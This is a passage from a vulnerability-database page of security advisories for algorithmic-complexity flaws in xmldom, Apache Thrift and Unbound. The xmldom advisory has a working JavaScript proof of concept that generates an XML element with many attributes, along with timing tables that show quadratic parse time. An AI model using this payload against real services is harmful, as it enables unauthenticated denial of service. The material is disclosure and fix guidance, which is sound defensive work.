"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86429"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/commonmark-before-2.9.1-denial-of-service-via-smartpunct-and-attributes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8344-3JMQ-59R6
Vulnerability from github – Published: 2026-09-08 21:01 – Updated: 2026-09-08 21:01Summary
xmldom builds the attribute collection of every parsed element by inserting attributes one at a
time into a DOM NamedNodeMap. Each insertion first performs a linear scan of all
already-inserted attributes to enforce the DOM uniqueness rule (no two attributes with the same
qualified name / namespace+local-name). Parsing an element that carries M distinct attributes
therefore costs 1 + 2 + … + M = O(M²) comparisons.
Because the trigger is simply "one element with many attributes", the attack payload is a
fully well-formed XML document. No malformed markup, no error recovery, and no non-default
parser options are involved — parsing completes silently with zero warning/error/fatalError
events. An attacker who can submit a modest, highly compressible document (a single element with
tens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU
per request, enabling an unauthenticated denial of service.
This is distinct from the known quadratic-memory namespace-map issue: it burns CPU and it does not require any namespace declarations or nesting.
Details
The DOM content handler adds each attribute of a starting element by calling
el.setAttributeNode(attr) in a loop:
// DOMHandler.startElement
for (var i = 0; i < len; i++) {
var namespaceURI = attrs.getURI(i);
var value = attrs.getValue(i);
var qName = attrs.getQName(i);
var attr = doc.createAttributeNS(namespaceURI, qName);
attr.value = attr.nodeValue = value;
el.setAttributeNode(attr); // O(existing attrs) each — see below
}
https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387
setAttributeNode delegates to NamedNodeMap.setNamedItem, which calls getNamedItemNS to look
for an existing attribute with the same namespace URI and local name before appending:
setNamedItem: function (attr) {
var el = attr.ownerElement;
if (el && el !== this._ownerElement) {
throw new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);
}
var oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName); // linear scan
if (oldAttr === attr) {
return attr;
}
_addNamedNode(this._ownerElement, this, attr, oldAttr);
return oldAttr;
},
https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623
getNamedItemNS walks the whole list on every call:
getNamedItemNS: function (namespaceURI, localName) {
if (!namespaceURI) {
namespaceURI = null;
}
var i = 0;
while (i < this.length) {
var node = this[i];
if (node.localName === localName && node.namespaceURI === namespaceURI) {
return node;
}
i++;
}
return null;
},
https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715
For the i-th attribute the scan visits i-1 entries, so inserting M distinct attributes performs
Θ(M²) comparisons. There is no hash index or set keyed by name; the map is a plain
array-backed structure.
The same structure exists on 0.8.x. There setNamedItem dedups via
getNamedItem(attr.nodeName) instead of getNamedItemNS, but that method is likewise a full linear
scan, so the complexity is identical:
startElementloop /setAttributeNode: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176setNamedItem→ lineargetNamedItem: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308
The linear-scan NamedNodeMap predates the @xmldom/xmldom fork and is present unchanged in the
unscoped xmldom package back to its earliest published release. In xmldom@0.1.0, parsing already
inserts each attribute one at a time (DOMHandler.startElement loops calling
setAttributeNS → setAttributeNode → NamedNodeMap.setNamedItem), and setNamedItem dedups by
calling getNamedItemNS, which is a full linear while (i--) scan of the already-inserted
attributes — the identical O(M²) structure. The whole unscoped line (0.1.0 … 0.6.0) is
therefore affected; the earliest published tag (0.1.0) was verified to contain the per-insert
linear dedup scan.
Proof of Concept
A single well-formed element with M distinct attributes. No malformed markup and no options:
'use strict';
var DOMParser = require('@xmldom/xmldom').DOMParser;
function buildDoc(m) {
var parts = new Array(m);
for (var i = 0; i < m; i++) parts[i] = 'a' + i + '="x"';
return '<r ' + parts.join(' ') + '/>'; // <r a0="x" a1="x" ... a{M-1}="x"/>
}
for (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i < sizes.length; _i++) {
var m = sizes[_i];
var xml = buildDoc(m);
var t0 = process.hrtime.bigint();
var doc = new DOMParser().parseFromString(xml, 'text/xml'); // silent: no error events
var ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(m + ' attrs, ' + xml.length + ' bytes -> ' + ms.toFixed(1) + ' ms; parsed=' +
doc.documentElement.attributes.length);
}
Measured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the scaling is the load-bearing fact):
@xmldom/xmldom 0.9.10:
| M (attributes) | input bytes | time (ms) | ratio vs prev |
|---|---|---|---|
| 2000 | 18,894 | 13.4 | — |
| 4000 | 38,894 | 38.7 | ×2.9 |
| 8000 | 78,894 | 100.8 | ×2.6 |
| 16000 | 164,894 | 406.2 | ×4.0 |
| 32000 | 340,894 | 2149.5 | ×5.3 |
@xmldom/xmldom 0.8.13:
| M (attributes) | input bytes | time (ms) |
|---|---|---|
| 2000 | 18,894 | 10.6 |
| 4000 | 38,894 | 19.9 |
| 8000 | 78,894 | 75.9 |
| 16000 | 164,894 | 657.7 |
| 32000 | 340,894 | 1643.2 |
xmldom (unscoped) 0.6.0: 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling).
Time grows ≈ ×4 per doubling of M — quadratic. About 340 KB of well-formed input costs ~1.6–2.1 s
of single-threaded CPU, and it keeps scaling: doubling the attribute count quadruples the cost.
The document is trivially generated and compresses to a few kilobytes on the wire.
Impact
Unauthenticated, remotely triggerable denial of service against any service that parses attacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds; a handful of concurrent requests can saturate CPU and stall the process. Because the payload is a plain well-formed document (one element, many attributes), it passes any "must be well-formed" gate and reaches the parser before any application-level validation (e.g. schema checks or signature verification) can run. The payload is highly compressible, so it is effective over compressed transports.
Fix Applied
Replaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed
index, so de-duplicating an element's attributes during parse is O(M) instead of O(M²) — a
well-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute
order and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking
and independent of requireWellFormed; ships on both maintained versions.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.14"
},
"package": {
"ecosystem": "npm",
"name": "@xmldom/xmldom"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.0"
},
{
"fixed": "0.8.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.11"
},
"package": {
"ecosystem": "npm",
"name": "@xmldom/xmldom"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"fixed": "0.9.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "xmldom"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-83613"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T21:01:31Z",
"nvd_published_at": "2026-09-01T15:17:39Z",
"severity": "HIGH"
},
"details": "## Summary\n\nxmldom builds the attribute collection of every parsed element by inserting attributes one at a\ntime into a DOM `NamedNodeMap`. Each insertion first performs a **linear scan of all\nalready-inserted attributes** to enforce the DOM uniqueness rule (no two attributes with the same\nqualified name / namespace+local-name). Parsing an element that carries `M` distinct attributes\ntherefore costs `1 + 2 + \u2026 + M = O(M\u00b2)` comparisons.\n\nBecause the trigger is simply \"one element with many attributes\", the attack payload is a\n**fully well-formed XML document**. No malformed markup, no error recovery, and no non-default\nparser options are involved \u2014 parsing completes silently with zero `warning`/`error`/`fatalError`\nevents. An attacker who can submit a modest, highly compressible document (a single element with\ntens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU\nper request, enabling an unauthenticated denial of service.\n\nThis is distinct from the known quadratic-**memory** namespace-map issue: it burns **CPU** and it\ndoes not require any namespace declarations or nesting.\n\n## Details\n\nThe DOM content handler adds each attribute of a starting element by calling\n`el.setAttributeNode(attr)` in a loop:\n\n```js\n// DOMHandler.startElement\nfor (var i = 0; i \u003c len; i++) {\n\tvar namespaceURI = attrs.getURI(i);\n\tvar value = attrs.getValue(i);\n\tvar qName = attrs.getQName(i);\n\tvar attr = doc.createAttributeNS(namespaceURI, qName);\n\tattr.value = attr.nodeValue = value;\n\tel.setAttributeNode(attr); // O(existing attrs) each \u2014 see below\n}\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387\n\n`setAttributeNode` delegates to `NamedNodeMap.setNamedItem`, which calls `getNamedItemNS` to look\nfor an existing attribute with the same namespace URI and local name before appending:\n\n```js\nsetNamedItem: function (attr) {\n\tvar el = attr.ownerElement;\n\tif (el \u0026\u0026 el !== this._ownerElement) {\n\t\tthrow new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);\n\t}\n\tvar oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName); // linear scan\n\tif (oldAttr === attr) {\n\t\treturn attr;\n\t}\n\t_addNamedNode(this._ownerElement, this, attr, oldAttr);\n\treturn oldAttr;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623\n\n`getNamedItemNS` walks the whole list on every call:\n\n```js\ngetNamedItemNS: function (namespaceURI, localName) {\n\tif (!namespaceURI) {\n\t\tnamespaceURI = null;\n\t}\n\tvar i = 0;\n\twhile (i \u003c this.length) {\n\t\tvar node = this[i];\n\t\tif (node.localName === localName \u0026\u0026 node.namespaceURI === namespaceURI) {\n\t\t\treturn node;\n\t\t}\n\t\ti++;\n\t}\n\treturn null;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715\n\nFor the i-th attribute the scan visits `i-1` entries, so inserting `M` distinct attributes performs\n`\u0398(M\u00b2)` comparisons. There is no hash index or set keyed by name; the map is a plain\narray-backed structure.\n\nThe same structure exists on 0.8.x. There `setNamedItem` dedups via\n`getNamedItem(attr.nodeName)` instead of `getNamedItemNS`, but that method is likewise a full linear\nscan, so the complexity is identical:\n\n- `startElement` loop / `setAttributeNode`:\n https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176\n- `setNamedItem` \u2192 linear `getNamedItem`:\n https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308\n\nThe linear-scan `NamedNodeMap` predates the `@xmldom/xmldom` fork and is present unchanged in the\nunscoped `xmldom` package back to its earliest published release. In `xmldom@0.1.0`, parsing already\ninserts each attribute one at a time (`DOMHandler.startElement` loops calling\n`setAttributeNS` \u2192 `setAttributeNode` \u2192 `NamedNodeMap.setNamedItem`), and `setNamedItem` dedups by\ncalling `getNamedItemNS`, which is a full linear `while (i--)` scan of the already-inserted\nattributes \u2014 the identical `O(M\u00b2)` structure. The whole unscoped line (`0.1.0` \u2026 `0.6.0`) is\ntherefore affected; the earliest published tag (`0.1.0`) was verified to contain the per-insert\nlinear dedup scan.\n\n## Proof of Concept\n\nA single well-formed element with `M` distinct attributes. No malformed markup and no options:\n\n```js\n\u0027use strict\u0027;\nvar DOMParser = require(\u0027@xmldom/xmldom\u0027).DOMParser;\n\nfunction buildDoc(m) {\n\tvar parts = new Array(m);\n\tfor (var i = 0; i \u003c m; i++) parts[i] = \u0027a\u0027 + i + \u0027=\"x\"\u0027;\n\treturn \u0027\u003cr \u0027 + parts.join(\u0027 \u0027) + \u0027/\u003e\u0027; // \u003cr a0=\"x\" a1=\"x\" ... a{M-1}=\"x\"/\u003e\n}\n\nfor (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i \u003c sizes.length; _i++) {\n\tvar m = sizes[_i];\n\tvar xml = buildDoc(m);\n\tvar t0 = process.hrtime.bigint();\n\tvar doc = new DOMParser().parseFromString(xml, \u0027text/xml\u0027); // silent: no error events\n\tvar ms = Number(process.hrtime.bigint() - t0) / 1e6;\n\tconsole.log(m + \u0027 attrs, \u0027 + xml.length + \u0027 bytes -\u003e \u0027 + ms.toFixed(1) + \u0027 ms; parsed=\u0027 +\n\t\tdoc.documentElement.attributes.length);\n}\n```\n\nMeasured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the **scaling** is the\nload-bearing fact):\n\n**`@xmldom/xmldom` 0.9.10:**\n\n| M (attributes) | input bytes | time (ms) | ratio vs prev |\n|---:|---:|---:|---:|\n| 2000 | 18,894 | 13.4 | \u2014 |\n| 4000 | 38,894 | 38.7 | \u00d72.9 |\n| 8000 | 78,894 | 100.8 | \u00d72.6 |\n| 16000 | 164,894 | 406.2 | \u00d74.0 |\n| 32000 | 340,894 | 2149.5 | \u00d75.3 |\n\n**`@xmldom/xmldom` 0.8.13:**\n\n| M (attributes) | input bytes | time (ms) |\n|---:|---:|---:|\n| 2000 | 18,894 | 10.6 |\n| 4000 | 38,894 | 19.9 |\n| 8000 | 78,894 | 75.9 |\n| 16000 | 164,894 | 657.7 |\n| 32000 | 340,894 | 1643.2 |\n\n**`xmldom` (unscoped) 0.6.0:** 4000 \u2192 28.2 ms, 8000 \u2192 131.8 ms, 16000 \u2192 545.2 ms (\u2248 \u00d74 per doubling).\n\nTime grows \u2248 \u00d74 per doubling of `M` \u2014 quadratic. About **340 KB of well-formed input costs ~1.6\u20132.1 s\nof single-threaded CPU**, and it keeps scaling: doubling the attribute count quadruples the cost.\nThe document is trivially generated and compresses to a few kilobytes on the wire.\n\n## Impact\n\nUnauthenticated, remotely triggerable denial of service against any service that parses\nattacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds;\na handful of concurrent requests can saturate CPU and stall the process. Because the payload is a\nplain well-formed document (one element, many attributes), it passes any \"must be well-formed\" gate\nand reaches the parser before any application-level validation (e.g. schema checks or signature\nverification) can run. The payload is highly compressible, so it is effective over compressed\ntransports.\n\n## Fix Applied\n\nReplaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed\nindex, so de-duplicating an element\u0027s attributes during parse is O(M) instead of O(M\u00b2) \u2014 a\nwell-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute\norder and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking\nand independent of `requireWellFormed`; ships on both maintained versions.",
"id": "GHSA-8344-3jmq-59r6",
"modified": "2026-09-08T21:01:31Z",
"published": "2026-09-08T21:01:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-27p8-2357-5qqv"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-8344-3jmq-59r6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83613"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/pull/1071"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/pull/1072"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/commit/2c548f200cfec991cd5846627ef8f03542309213"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/commit/cfb09b5dbeb035fdfedc9f01e2bbaf226bf47cf3"
},
{
"type": "PACKAGE",
"url": "https://github.com/xmldom/xmldom"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15"
},
{
"type": "WEB",
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "xmldom: Quadratic-time attribute deduplication"
}
GHSA-8CJ2-994R-9FPQ
Vulnerability from github – Published: 2026-07-27 12:31 – Updated: 2026-07-27 21:31Inefficient Algorithmic Complexity, Allocation of Resources Without Limits or Throttling vulnerability in Apache Thrift Node.js bindings.
This issue affects Apache Thrift: before 0.24.0.
Users are recommended to upgrade to version 0.24.0, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-55968"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-27T12:16:45Z",
"severity": "HIGH"
},
"details": "Inefficient Algorithmic Complexity, Allocation of Resources Without Limits or Throttling vulnerability in Apache Thrift Node.js bindings.\n\nThis issue affects Apache Thrift: before 0.24.0.\n\nUsers are recommended to upgrade to version 0.24.0, which fixes the issue.",
"id": "GHSA-8cj2-994r-9fpq",
"modified": "2026-07-27T21:31:21Z",
"published": "2026-07-27T12:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55968"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/7v3jhgwfbmhx42424phydlnzb109g8b9"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/gxhhfyr6flr5vzr4qnxm13p6fc41qstp"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/24/39"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8F6W-8H24-FW66
Vulnerability from github – Published: 2026-05-20 12:30 – Updated: 2026-05-21 00:30NLnet Labs Unbound up to and including version 1.25.0 has a vulnerability in the DNSSEC validator where the code path to consult the negative cache for DS records does not take into account the limit on NSEC3 hash calculations introduced in 1.19.1. This leads to degradation of service during the attack. An adversary that controls a DNSSEC signed zone can exploit this by signing NSEC3 records with acceptably high iterations for child delegations and querying a vulnerable Unbound. Unbound will keep performing the allowed hash calculations on the NSEC3 records and will not limit the work by the mitigation introduced in 1.19.1. As a side effect, a global lock for the negative cache will be held for the duration of the hashing, blocking other threads that need to consult the negative cache. Coordinated attacks could raise the vulnerability to denial of service. Unbound 1.25.1 contains a patch with a fix to bound the vulnerable code path with the existing limit for NSEC3 hash calculations.
{
"affected": [],
"aliases": [
"CVE-2026-42923"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-20T10:16:27Z",
"severity": "MODERATE"
},
"details": "NLnet Labs Unbound up to and including version 1.25.0 has a vulnerability in the DNSSEC validator where the code path to consult the negative cache for DS records does not take into account the limit on NSEC3 hash calculations introduced in 1.19.1. This leads to degradation of service during the attack. An adversary that controls a DNSSEC signed zone can exploit this by signing NSEC3 records with acceptably high iterations for child delegations and querying a vulnerable Unbound. Unbound will keep performing the allowed hash calculations on the NSEC3 records and will not limit the work by the mitigation introduced in 1.19.1. As a side effect, a global lock for the negative cache will be held for the duration of the hashing, blocking other threads that need to consult the negative cache. Coordinated attacks could raise the vulnerability to denial of service. Unbound 1.25.1 contains a patch with a fix to bound the vulnerable code path with the existing limit for NSEC3 hash calculations.",
"id": "GHSA-8f6w-8h24-fw66",
"modified": "2026-05-21T00:30:27Z",
"published": "2026-05-20T12:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42923"
},
{
"type": "WEB",
"url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-42923.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.